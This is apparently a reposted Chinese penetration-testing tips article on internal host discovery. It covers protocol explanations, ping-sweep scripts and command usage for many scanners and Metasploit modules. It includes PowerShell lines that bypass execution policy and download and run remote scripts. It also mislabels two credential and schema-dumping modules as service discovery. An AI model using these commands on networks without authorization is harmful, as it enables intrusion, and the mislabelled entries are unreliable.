Tips +1
1、内网主机发现概述
内网主机发现是指在一个局域网或内部网络中,通过使用特定的技术和工具,发现并识别所有连接到该网络的主机和设备。在内网渗透中,为了扩大战果,我们通常需要先收集内网主机的存活,为下一步资产识别、漏洞验证、漏洞挖掘、构建内网渗透拓扑图等做准备。
2、常见主机发现协议
在内网主机发现工具中,如nmap、masscan、arp-scan、ntbscan等等,本质上都是使用协议去扫描的,基于不同的协议去发现更多的主机。下面是几种常见的协议:
Netbios 协议探测
NetBIOS(Network Basic Input/Output System)是一种早期的计算机网络协议,最初由 IBM 开发用于在局域网中进行通信。它提供了一组应用程序编程接口(API),用于在局域网上的计算机之间进行数据传输、命名、会话和共享资源等操作。NetBIOS 最初是用于 IBM 的早期操作系统(如 IBM PC-DOS 和 OS/2)的,后来也被广泛支持和使用于 Windows 等操作系统中。
NetBIOS 的特点:
● 广播通信:NetBIOS 使用广播通信来进行服务发现和名称解析。它能够在局域网中自动查找可用的服务和资源。
● 单播通信:一旦建立连接,NetBIOS 使用单播通信进行数据传输。通信双方之间的通信是点对点的,不需要广播。
● 会话层:NetBIOS 提供会话层协议,允许应用程序在局域网中建立会话和通信。
NetBIOS 协议在主机发现中的作用:
在过去,NetBIOS 被广泛用于局域网内的主机发现和资源共享。主机发现是指确定局域网中存在的活动主机,以便进行资源共享或网络管理。NetBIOS 通过使用广播通信,允许主机在局域网上注册和发现服务和名称,从而实现主机发现的功能。
然而,随着时间的推移和网络技术的发展,NetBIOS 的使用逐渐减少,取而代之的是更现代的网络协议和技术。在现代网络环境中,NetBIOS 已被其他更安全、高效和功能丰富的协议所取代,例如 DNS(Domain Name System)和 SSDP(Simple Service Discovery Protocol)等。
ICMP 协议探测
ICMP(Internet Control Message Protocol)是一种网络层协议,通常运行在 IP(Internet Protocol)之上。它用于在 IP 网络中传递错误消息、控制消息和网络状态信息。ICMP 是一种无连接的协议,主要用于网络设备之间进行通信,而不像 TCP 或 UDP 那样建立连接。
ICMP 的主要作用:
1. 错误消息传递:ICMP 用于传递网络中发生的错误情况,例如目标主机不可达、端口不可达、超时等。当 IP 数据报在网络中遇到问题时,中间路由器或目标主机会通过 ICMP 返回相应的错误消息,让源主机得知发生了什么问题。
2. 控制消息:ICMP 还用于传递一些网络控制信息,例如回送请求(ping)和回送应答(pong),用于测试网络的连通性。通过向目标主机发送 ICMP 请求,源主机可以判断目标主机是否存活和网络是否可达。
3. 路径 MTU 发现:ICMP 还用于进行路径 MTU(Maximum Transmission Unit)发现,以确定从源主机到目标主机之间的最大传输单元(最大可传输数据的大小),以避免分片和数据包丢失。
ICMP 协议在主机发现中的作用:
在主机发现中,ICMP 的 ping 请求和 ping 响应消息被广泛用于测试网络中主机的存活状态和连通性。主机发现通常通过发送 ICMP Echo 请求消息(ping 请求)到目标主机,并等待目标主机返回 ICMP Echo 响应消息(ping 响应)。如果收到目标主机的响应,说明目标主机是活动的并且网络可达;如果没有收到响应,则可以认为目标主机可能不在线或网络中存在问题。
UDP 协议探测
UDP(User Datagram Protocol)是一种面向无连接的传输层协议,它与 TCP(Transmission Control Protocol)一起构成了 Internet 协议套件中的两种最常见的传输协议。相对于 TCP 的面向连接特性,UDP 是一种无连接的、不可靠的协议。它提供了简单的数据报文传递,适用于一些对数据可靠性要求不高、但实时性较高的应用场景。
UDP 的特点:
● 无连接:UDP 不需要在通信之前建立连接,通信双方可以直接发送和接收数据报文。
● 不可靠:UDP 不提供数据包的确认、重传和流量控制,因此数据传输可能会丢失或乱序。
● 快速:由于没有连接建立和确认过程,UDP 的传输速度相对较快。
● 简单:UDP 的头部信息较小,相比 TCP,它的开销更小。
在主机发现中,UDP 协议可以用于发送探测数据包来确定目标主机的存在。主机发现通常使用 UDP 报文来测试目标主机的存活状态。UDP 作为一种无连接的协议,能够提供更快的传输速度和更小的开销,因此在一些主机发现场景中得到应用。
主机发现中使用的 UDP 通常是通过向目标主机的特定端口发送数据包,并根据是否收到响应来判断主机是否存活。例如,网络管理员可以发送一个简单的 UDP 数据包到目标主机的某个常用端口(如 53、67、161 等),然后等待目标主机是否响应。如果收到响应,说明目标主机是活动的,如果没有收到响应,说明目标主机可能不在线或该端口不可访问。需要注意的是,UDP 协议的不可靠性意味着在主机发现过程中可能会有数据包丢失或因网络拥塞而延迟。
SNMP 协议探测
SNMP(Simple Network Management Protocol)是一种用于网络管理的应用层协议。它允许网络管理员监控和管理网络中的设备和应用程序,以便收集信息、监测性能、进行故障排除等。SNMP 协议被广泛应用于各种网络设备,如路由器、交换机、服务器、打印机等,以及许多其他网络连接的设备。
SNMP 的基本工作原理:
● SNMP 由两个主要组件组成:SNMP 管理站(管理者)和 SNMP 代理(被管理设备)。管理站通过发送 SNMP 请求消息来获取和设置代理设备的信息,而代理则负责响应这些请求并提供所需的信息。
● SNMP 请求通常是读取设备的信息(GET 请求)或设置设备的信息(SET 请求)。设备返回响应消息,其中包含所请求的信息或确认执行设置操作。
● SNMP 使用 OID(Object Identifier)来标识和管理网络中的对象。OID 是一个唯一的标识符,用于指定管理的对象或属性。
在主机发现中,SNMP 协议可以用于确定网络中存在的设备和其支持的功能。通过发送 SNMP 请求,可以检测目标主机是否支持 SNMP 协议,进而确认该主机是否存在于网络中。通过获取 SNMP 响应,还可以获得有关目标主机的基本信息,例如系统描述、系统名称和接口信息等。
SMB协议探测
SMB(Server Message Block)协议是一种用于文件和打印机共享的网络协议。它最初由 IBM 开发,并在后来被 Microsoft 扩展和广泛采用。SMB 协议允许计算机之间共享文件、打印机和其他资源,使得用户可以方便地在网络上访问共享的资源。
SMB 的主要特点和功能:
1. 文件共享:SMB 协议支持文件共享,允许用户将文件和目录共享给其他计算机上的用户访问。
2. 打印机共享:SMB 协议允许将打印机共享给网络上的其他计算机,使得多台计算机可以共享同一台打印机。
3. 用户身份验证:SMB 协议支持用户身份验证,可以确保只有经过授权的用户可以访问共享资源。
4. 访问控制:SMB 支持对共享资源进行细粒度的访问控制,可以设置权限来限制用户对资源的访问。
5. 目录浏览:SMB 协议可以列出共享目录中的文件和子目录,使用户能够浏览共享资源。
SMB 协议在主机发现中的作用:
在主机发现中,SMB 协议可以用于确定局域网中存在的主机,并发现共享资源。SMB 协议的主机发现通常是通过寻找网络中的 SMB 服务器(通常是 Windows 计算机)来实现的。网络管理员可以发送特定的 SMB 请求到目标 IP 地址,并根据是否收到 SMB 响应来判断目标主机是否存在。需要注意的是,SMB 协议在主机发现中主要用于检测支持 SMB 协议的设备,特别是 Windows 计算机。
ARP协议探测
ARP(Address Resolution Protocol)是一种用于在局域网(LAN)中解析网络层(通常是IPv4)地址和物理层(MAC地址)之间映射关系的协议。它用于将IP地址转换为对应的物理 MAC 地址,以便在局域网中实现数据包的交换和传递。
ARP 的主要功能:
1. ARP 请求(ARP Request):当设备知道目标IP地址但不知道其对应的MAC地址时,它会广播一个 ARP 请求,询问该IP地址对应的设备的MAC地址。
2. ARP 响应(ARP Reply):目标设备收到 ARP 请求后,如果知道自己对应该IP地址,就会向请求设备发送一个 ARP 响应,包含自己的MAC地址。
ARP 协议在主机发现中的作用:
在主机发现中,ARP 协议可以用于确定局域网中存在的设备。主机发现通常是通过发送 ARP 请求来实现的。发送 ARP 请求的设备会将目标IP地址设置为广播地址,这样所有在同一局域网上的设备都会接收到这个请求。如果目标设备在线并且知道自己对应该IP地址,它将会回复一个 ARP 响应,包含自己的MAC地址。
主机发现中使用 ARP 协议的过程如下:
1. 发送方广播 ARP 请求,请求指定IP地址的设备回复自己的MAC地址。
2. 局域网上的所有设备都会收到该 ARP 请求。
3. 如果有设备知道自己对应请求中指定的IP地址,它会向发送方回复一个 ARP 响应,包含自己的MAC地址。
4. 发送方收到 ARP 响应后,就知道对应IP地址的设备存在于局域网中,并获取了设备的MAC地址,从而可以进行通信。
需要注意的是,ARP 协议只适用于同一局域网内的主机发现,因为 ARP 请求是广播的,只在局域网内有效。对于跨越多个子网或网络的主机发现,通常会使用更高层的网络探测协议,如 ICMP 或者更复杂的网络发现工具。
3、本机 IP 发现
本机主机IP地址查看
Linux:
ifconfig -a
ip addr
windows:
ipconfig /all
使用arp命令
arp -a
使用nbtstat
nbtstat -c //使用命令查看缓存信息
查看本地的hosts文件
Windows:
type c:Windowssystem32driversetchosts
Linux:
cat /etc/hosts
//dns缓存中存在我们解析过的域名信息
Windows:
ipconfig /displaydns
Linux下需要安装nscd并且配置它才能缓存dns信息
查看路由表
Windows下使用:
route print
linux下使用:
route -n
查看本地连接信息
Windows下执行:
netstat -ano
linux下执行:
netstat -anp
利用net命令
net view //命令用于显示一个计算机上共享资源的列表。
net session 命令来查看管理员的登录IP,linux下可以使用 who
4、主机发现常用工具
1、使用 ping 发现存活主机-Linux
Linux 下使用ping命令扫描C段:
1.使用命令行
for k in $( seq 1 255);do ping -c 1 192.168.100.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
2、使用bash脚本
#!/bin/bash
# 定义目标网段,将 <目标网段> 替换为您想要发现的网段,例如:192.168.1.0/24
TARGET_NETWORK="<目标网段>"
# 使用 ping 命令发现存活的主机
for ((i=1; i<=254; i++))
do
# 拼接目标 IP 地址
TARGET_IP="${TARGET_NETWORK%.*}.$i"
# 发送单个 ICMP Echo 请求,并等待回应,超时时间为1秒
ping -c 1 -W 1 $TARGET_IP > /dev/null 2>&1
# 检查 ping 命令的退出状态,如果返回值为0,说明主机存活
if [ $? -eq 0 ]; then
echo "Host $TARGET_IP is alive."
fi
done
2、使用 ping 发现存活主机-Windows
1.使用命令行
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
C:WindowsTemp>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="
来自 192.168.3.68 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.3.142 的回复: 字节=32 时间<1ms TTL=128
2.使用bat 脚本
@echo off
FOR /L %%I in (1,1,255) do ping 192.168.1.%%I -n 1 -w 100
arp -a > "%cd%"1.txt
exit
3.使用 VBS 脚本
strSubNet = "192.168.3."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:WindowsTempResult.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived ! :) "
End If
Next
objTS.Close
WScript.Echo "All Ping Scan , All Done ! :) "
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\.rootcimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function
3、fping 工具发现主机存活
fping 是一个类似 ping 的程序,它使用 Internet 控制消息协议 (ICMP) 回显请求来确定目标主机是否正在响应。fping 与 ping 的不同之处在于,您可以在命令行上指定任意数量的目标,或指定包含要 ping 的目标列表的文件。fping 不会发送到一个目标直到它超时或回复,而是发送一个 ping 数据包并以循环方式移动到下一个目标。
fping -Ag 192.168.43.0/24
fping -Ag 192.168.43.0/24 2>/dev/null
fping -Ag 192.168.43.0/24 2>/dev/null | grep -v unreachable
-g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24
2>/dev/null #减少错误信息输出,直接显示结果
grep -v unreachable #grep -v => 不显示 unreachable
4、arping 工具发现主机存活
arping 是一款用于发送 ARP 请求和接收 ARP 响应的工具,主要用于测试局域网中主机的存活状态。在 Linux 系统中一般都是自带的。可以通过以下命令使用 arping发送 ARP 请求来测试主机是否存活。这在局域网环境中特别有用。
arping -c 4 -w 2 192.168.1.100
#!/bin/bash
# 定义目标网段
subnet="192.168.1"
# 遍历整个网段的IP地址,使用 arping 进行主机发现
for ip in $(seq 1 254)
do
target="${subnet}.${ip}"
arping -c 1 -w 1 ${target} >/dev/null 2>&1
if [ $? -eq 0 ]; then
echo "Host ${target} is up."
fi
done
#!/bin/bash
# 设置保存结果的文件路径为当前目录下的 ip_alive.txt
RESULT_FILE="./ip_alive.txt"
# 删除已存在的 ip_alive.txt 文件
[ -f "$RESULT_FILE" ] && rm "$RESULT_FILE"
# 发现存活的主机并将结果保存到 ip_alive.txt
for ((i=1; i<=255; i++)); do
TARGET_IP="192.168.1.$i"
# 发送单个 ARP 请求,等待回应,超时时间为1秒
arping -c 1 -w 1 "$TARGET_IP" > /dev/null
# 检查 arping 命令的退出状态,如果返回值为0,说明主机存活
if [ $? -eq 0 ]; then
echo "Host $TARGET_IP is alive."
echo "Host $TARGET_IP is alive." >> "$RESULT_FILE"
fi
done
# 显示完成消息
echo "Host discovery is complete. Results saved in $RESULT_FILE."
5、nbtscan 工具发现主机存活
nbtscan 是一款用于 NetBIOS 主机扫描的工具,它可以帮助您快速发现运行 NetBIOS 服务的主机。通过向目标 IP 地址发送 NetBIOS Name Service (NBT-NS) 查询来探测主机。它可以快速扫描整个 IP 子网或者指定的一组 IP 地址,并返回发现的运行 NetBIOS 服务的主机列表及其对应的 NetBIOS 名称。
工具下载链接:http://www.unixwiz.net/tools/nbtscan.html
C:WindowsTemp>nbtscan.exe 192.168.3.0/24
192.168.3.68 0DAYSRV-DB-0DAY SHARING
192.168.3.142 0DAYOWA2010SP3 SHARING DC
*timeout (normal end of scan)
6、arp-scan 工具发现主机存活
arp-scan 是一款用于局域网内主机扫描的工具,它通过发送 ARP 请求并侦听 ARP 响应来发现局域网中的活动主机。ARP(Address Resolution Protocol)是一种用于将 IP 地址映射到物理 MAC 地址的协议,因此 arp-scan 可以通过 ARP 请求来确定哪些 IP 地址与实际的 MAC 地址相关联,从而判断主机是否在线。
工具链接:
https://github.com/royhills/arp-scan
https://github.com/QbsuranAlang/arp-scan-windows-
使用arp-scan 工具
C:WindowsTemp>arp-scan.exe -t 192.168.3.0/24
Reply that 00:0C:29:72:B1:AC is 192.168.3.68 in 0.113632
Reply that 00:0C:29:61:53:54 is 192.168.3.71 in 11.915900
Reply that 00:0C:29:91:86:D1 is 192.168.3.142 in 1.021149
Reply that 00:0C:29:72:B1:AC is 192.168.3.255 in 0.044419
7、Nishang 中的 Invoke-ARPScan.ps1 脚本
Nishang是一套用于PowerShell的渗透测试和红队工具集,它包含许多用于执行不同攻击和渗透测试任务的脚本。而 Invoke-ARPScan.ps1 脚本,则是其中通过arp 协议发现主机存活的脚本
脚本地址:https://github.com/nettitude/PoshC2_Old/blob/master/Modules/Invoke-Arpscan.ps1
C:WindowsTemp>powershell.exe -exec bypass -Command "& {Import-Module C:windowstempInvoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.3.0/24}"
MAC Address
--- -------
00:0C:29:72:B1:AC 192.168.3.68
00:0C:29:61:53:54 192.168.3.71
00:0C:29:91:86:D1 192.168.3.142
00:0C:29:72:B1:AC 192.168.3.255
a. 本地加载运行
powershell.exe -exec bypass -Command "& {Import-Module C:windowstempInvoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.3.0/24}" >> C:windowstemplog.txt
b. 远程下载运行
powershell.exe -nop -exec bypass "IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.100.200/Recon/Invoke-ARPScan.ps1');Invoke-ARPScan-CIDR 192.168.3.0/20" >> C:windowstemplog.txt
c. 无条件运行
powershell.exe -nop -exec bypass "IEX (New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan-Hosts 192.168.3.0/24-T 4 -ports'80,445,1433,3389,8080'-oA C:windowstempres.txt"
8、Empire 中的 arpsan 模块
Empire 内置了 arpsan 模块。该模块用于在局域网内发送 ARP 数据包,收集活跃主机 IP 地址和 MAC 地址信息。
输入“usemodule situational_awareness/network/arpscan”命令,即可使用 arpsan 模块。
9、ScanLine 工具发现主机存活
ScanLine 是一款经典的端口扫描工具,Windows 全版本通用,体积小,仅使用单个文件,同时支持对 TCP/UDP 的端口扫描,命令如下:
scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:windowstemplog.txt -p 192.168.3.1-254 /b
10、netdiscover 工具发现主机存活
netdiscover是基于ARP的网络扫描工具,kali下自带这个工具。也可单独下载编译使用。或使用源安装。
项目地址:https://github.com/alexxy/netdiscover
sudo apt install netdiscover
netdiscover -i eth1 -r 10.42.0.0/24 指定网卡
-i device:你的网络设备
-r 范围:扫描给定范围而不是自动扫描。192.168.6.0/24,/16,/8
netdiscover -l ip.txt //扫描文件范围
netdiscover -i eth0 -p
只嗅探 arp 流量,不要发送任何东西
11、 unicornscan 发现主机存活
Unicornscan 是对用户态分布式 TCP/IP 堆栈的一次尝试。它旨在为研究人员提供一个卓越的接口,用于将刺激引入 TCP/IP 启用的设备或网络并测量来自 TCP/IP 的设备或网络的响应。
安装:sudo apt install unicornscan
sudo unicornscan -mU -Iv 192.168.1.0/24
12、Nmap 发现主机存活
1、工具安装
sudo apt-get update
sudo apt-get install nmap
或者
sudo yum update
sudo yum install nmap
2、使用参数示例
nmap -sn 10.0.20.0/24
nmap -sU --script nbstat.nse -p 137 10.0.20.0/24 -T4
3、其他参数
-sP: ping扫描,也叫地毯式ping,发送一个ICMP请求和一个TCP请求到80端口,检测活动主机。同时如果扫描同一局域网的话还会发ARP包进行探测。
-sn: Ping Scan 只进行主机发现,不进行端口扫描。
-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
-PS/PA/PU/PY[portlist]: 使用TCP SYN/TCP ACK或SCTP INIT/ECHO方式进行发现。
-PE/PP/PM: 使用ICMP echo、 ICMP timestamp、ICMP netmask 请求包发现主机。
-PO[protocol list]: 使用IP协议包探测对方主机是否开启。
-PR: ARP ping,因为不需要arp 解析,所以会更快更可靠,即使指定了iP的请求方式,也会默认发送ARP探测,局域网内推荐。
-n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。
--dns-servers <serv1[,serv2],...>: 指定DNS服务器。
--system-dns: 指定使用系统的DNS服务器
--traceroute: 追踪每个路由节点
13、masscan 发现主机存活
masscan 是一款高速、多端口的端口扫描工具,它可以用于主机发现和端口扫描。相比其他扫描工具,masscan 在性能上具有显著优势,能够在较短的时间内探测大规模的 IP 地址和端口。
masscan -p0-65535 192.168.1.0/24 --rate 1000
masscan -p0-65535 192.168.1.0/24 --rate 1000 > scan_results.txt
14、MSF 发现主机存活
MSF 中存在多个协议的扫描模块,可根据不同模块进行利用。
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使
用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname
15、crackmapexec 工具发现主机存活
CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。其缔造者@byt3bl33d3r称,该工具的生存概念是,“利用AD内置功能/协议达成其功能,并规避大多数终端防护/IDS/IPS解决方案。”
cme smb 10.211.55.0/24
16、SharpHostInfo 工具发现主机存活
SharpHostInfo是一款快速探测内网主机信息工具(深信服深蓝实验室天威战队强力驱动)
项目地址:https://github.com/shmilylty/SharpHostInfo
1、查看帮助信息
SharpHostInfo.exe -h
2、使用默认参数进行探测
指定探测网段为192.168.1.1/24,默认使用NetBIOS和SMB服务进行探测进行自动探测,默认线程100个,默认探测超时500毫秒。
SharpHostInfo.exe -i 192.168.1.1/24
3、使用NetBIOS和WMI服务进行探测
指定探测网段为192.168.1.1/16,指定探测线程为200个,指定探测超时1000毫秒。
SharpHostInfo.exe -s nbns,wmi -i 192.168.1.1/16 -t 200 -m 1000
也可以使用长参数的形式:
SharpHostInfo.exe --service=nbns,wmi --target=192.168.1.1/16 --thread=200 --timeout=1000
其他使用说明
SSharpHostInfo自带了一份全球所有组织申请MAC地址对应文件manuf.json,可以根据MAC地址判断对应设备所属公司。这样可以粗略判断设备是否是安全设备或重要设备,只需把此文件放到SharpHostInfo.exe同目录下即可自行调用。当然SharpHostInfo不需要此文件也可以正常运行,欢迎提交常见重要设备MAC指纹,你可以在这里看到硬编码的指纹。
17、netspy 工具发现主机存活
netspy是一款快速探测内网可达网段工具,该工具,体积较小,速度极快,支持跨平台,支持多种协议探测。
项目地址:https://github.com/shmilylty/netspy
1、查看帮助信息
netspy -h
2使用icmpspy模块进行探测
netspy icmpspy
注:当没有权限发送icmp包时可以尝试使用arpspy模块。
3、使用arpspy模块进行探测 指定使用eth0网络接口进行arp协议探测。
netspy arpspy -i eth0
4、使用tcpspy模块进行探测
netspy tcpspy -p 22 -p 3389
注:如果不指定-p参数,netspy默认探测21, 22, 23, 80, 135, 139, 443, 445, 3389, 8080端口。
5、使用udpspy模块进行探测
netspy udpspy -p 53 -p 137
注:如果不指定-p参数,netspy默认探测53, 123, 137, 161, 520, 523, 1645, 1701, 1900, 5353端口。
18、snmp for pl 发现主机存活
perl 脚本用于从目标系统中提取 SNMP 数据并解析这些文件以获取潜在的可用数据。
项目地址:https://github.com/dheiland-r7/snmp
wget http://www.cpan.org/modules/by-module/NetAddr/NetAddr-IP-4.078.tar.gz
tar xvzf ./NetAddr-IP-4.078.tar.gz
cd NetAddr-IP-4.078/
perl Makefile.PL
make
make install
使用方法:
./snmpbw.pl 192.168.0.1 public 2 1
./snmpbw.pl ipfile.txt public 2 4
19、fscan 工具发现主机存活
这是一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。可以使用其中的h参数进行主机存活扫描。
项目地址:https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
20、PTscan 工具发现主机存活
PTscan(Phantom scanner) 是一款界面友好的轻量级web应用资产扫描器,适合于内网渗透测试环境下web的资产快捷识别,只需Python环境,无需第三方扩展库,扫描结果使用zoomeye网页样式。
Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r]
-f 指定扫描目标文件,文件格式如list.txt所示,同时支持IP和URL
-h 指定扫描IP或IP段,支持段扫描,如192.168.1 即为扫描C段,192.168 即为扫描B段
-p 指定扫描端口,缺省使用程序中的配置端口
-m 指定线程数
-t 指定timeout
-n 不进行ping操作,直接扫描
-b 开启Banner识别
-r ReverseIP
21、naabu 工具发现主机存活
Naabu 是一个用 Go 编写的端口扫描工具,可让您快速可靠地枚举主机的有效端口。它是一个非常简单的工具,可以对主机/主机列表进行快速 SYN/CONNECT/UDP 扫描,并列出返回回复的所有端口。
该工具主要还是用于端口的扫描,当然我们可以利用主机发现参数进行C端扫描。
https://github.com/projectdiscovery/naabu
HOST-DISCOVERY:
-sn, -host-discovery Perform Only Host Discovery
-Pn, -skip-host-discovery Skip Host discovery
-ps, -probe-tcp-syn string[] TCP SYN Ping (host discovery needs to be enabled)
-pa, -probe-tcp-ack string[] TCP ACK Ping (host discovery needs to be enabled)
-pe, -probe-icmp-echo ICMP echo request Ping (host discovery needs to be enabled)
-pp, -probe-icmp-timestamp ICMP timestamp request Ping (host discovery needs to be enabled)
-pm, -probe-icmp-address-mask ICMP address mask request Ping (host discovery needs to be enabled)
-arp, -arp-ping ARP ping (host discovery needs to be enabled)
-nd, -nd-ping IPv6 Neighbor Discovery (host discovery needs to be enabled)
-rev-ptr Reverse PTR lookup for input ips
22、kscan 工具发现主机存活
Kscan是一款纯go开发的全方位扫描器,具备端口扫描、协议检测、指纹识别,暴力破解等功能。支持协议1200+,协议指纹10000+ ,应用指纹20000+,暴力破解协议10余种。
项目地址:https://github.com/lcvvvv/kscan
-t , --target 指定探测对象:
IP地址:114.114.114.114
IP地址段:114.114.114.114/24,不建议子网掩码小于12
IP地址段:114.114.114.114-115.115.115.115
URL地址:https://www.baidu.com
文件地址:file:/tmp/target.txt
--spy 网段探测模式,此模式下将自动探测主机可达的内网网段可接收参数为:
(空)、192、10、172、all、指定IP地址(将探测该IP地址B段存活网关)
23、LadonGo 工具发现主机存活
LadonGO 4.5 Pentest Scanner framework 全平台Go开源内网渗透扫描器框架,Windows/Linux/Mac内网渗透,使用它可轻松一键批量探测C段、B段、A段存活主机、高危漏洞检测MS17010 等
项目地址:https://github.com/k8gege/LadonGo
Ping scan segment C live hosts (with any permission) < br >
Ladon 192.168.1.8/24 PingScan
ICMP scanning section C survival host (administrator authority)
Ladon 192.168.1.8/24 IcmpScan
SNMP scanning of surviving hosts and devices in Segment C
Ladon 192.168.1.8/24 SnmpScan
24、AlliN 工具发现主机存活
渗透测试项目的综合工具。它是一款灵活、紧凑、高效的扫描工具,主要用于内网的横向渗透。
项目地址:https://github.com/P1-Team/AlliN
--host 10.1.1.1
--host 10.1.1.1-10.2.2.2
--host 10.1.1.1/24 # any CIDR
--host 10.1.1.1-255
--host 2001:db8::/126 # any CIDR
--host [2001:4860:4860::8888]
--host 2001:db8::1-2001:db8::5
--host <arbitrary format of the domain>
25、nacs 工具发现主机存活
事件驱动的渗透测试扫描器 Event-driven pentest scanner
项目地址:https://github.com/u21h2/nacs
sudo ./nacs -h IP或IP段 -o result.txt
sudo ./nacs -hf IP或IP段的文件 -o result.txt
sudo ./nacs -u url(支持http、ssh、ftp、smb等) -o result.txt
sudo ./nacs -uf url文件 -o result.txt
26、HostInfoScan 工具发现主机存活
利用DCERPC协议,无需认证获取Windows机器主机信息和多网卡信息
项目地址:https://github.com/Y0-kan/HostInfoScan
python3 HostInfoScan.py -i 192.168.0.1/24
python3 HostInfoScan.py -i 192.168.0.1/24 -a 1 #只进行主机信息探测(操作系统、域名、主机名)
python3 HostInfoScan.py -i 192.168.0.1/24 -a 2 #只进行多网卡信息探测
python3 HostInfoScan.py -i 192.168.0.1/24 -a 0 -t 5 -o result.txt
End
“点赞、在看与分享都是莫大的支持”
原文始发于微信公众号(贝雷帽SEC):【Tips+1】内网主机发现总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论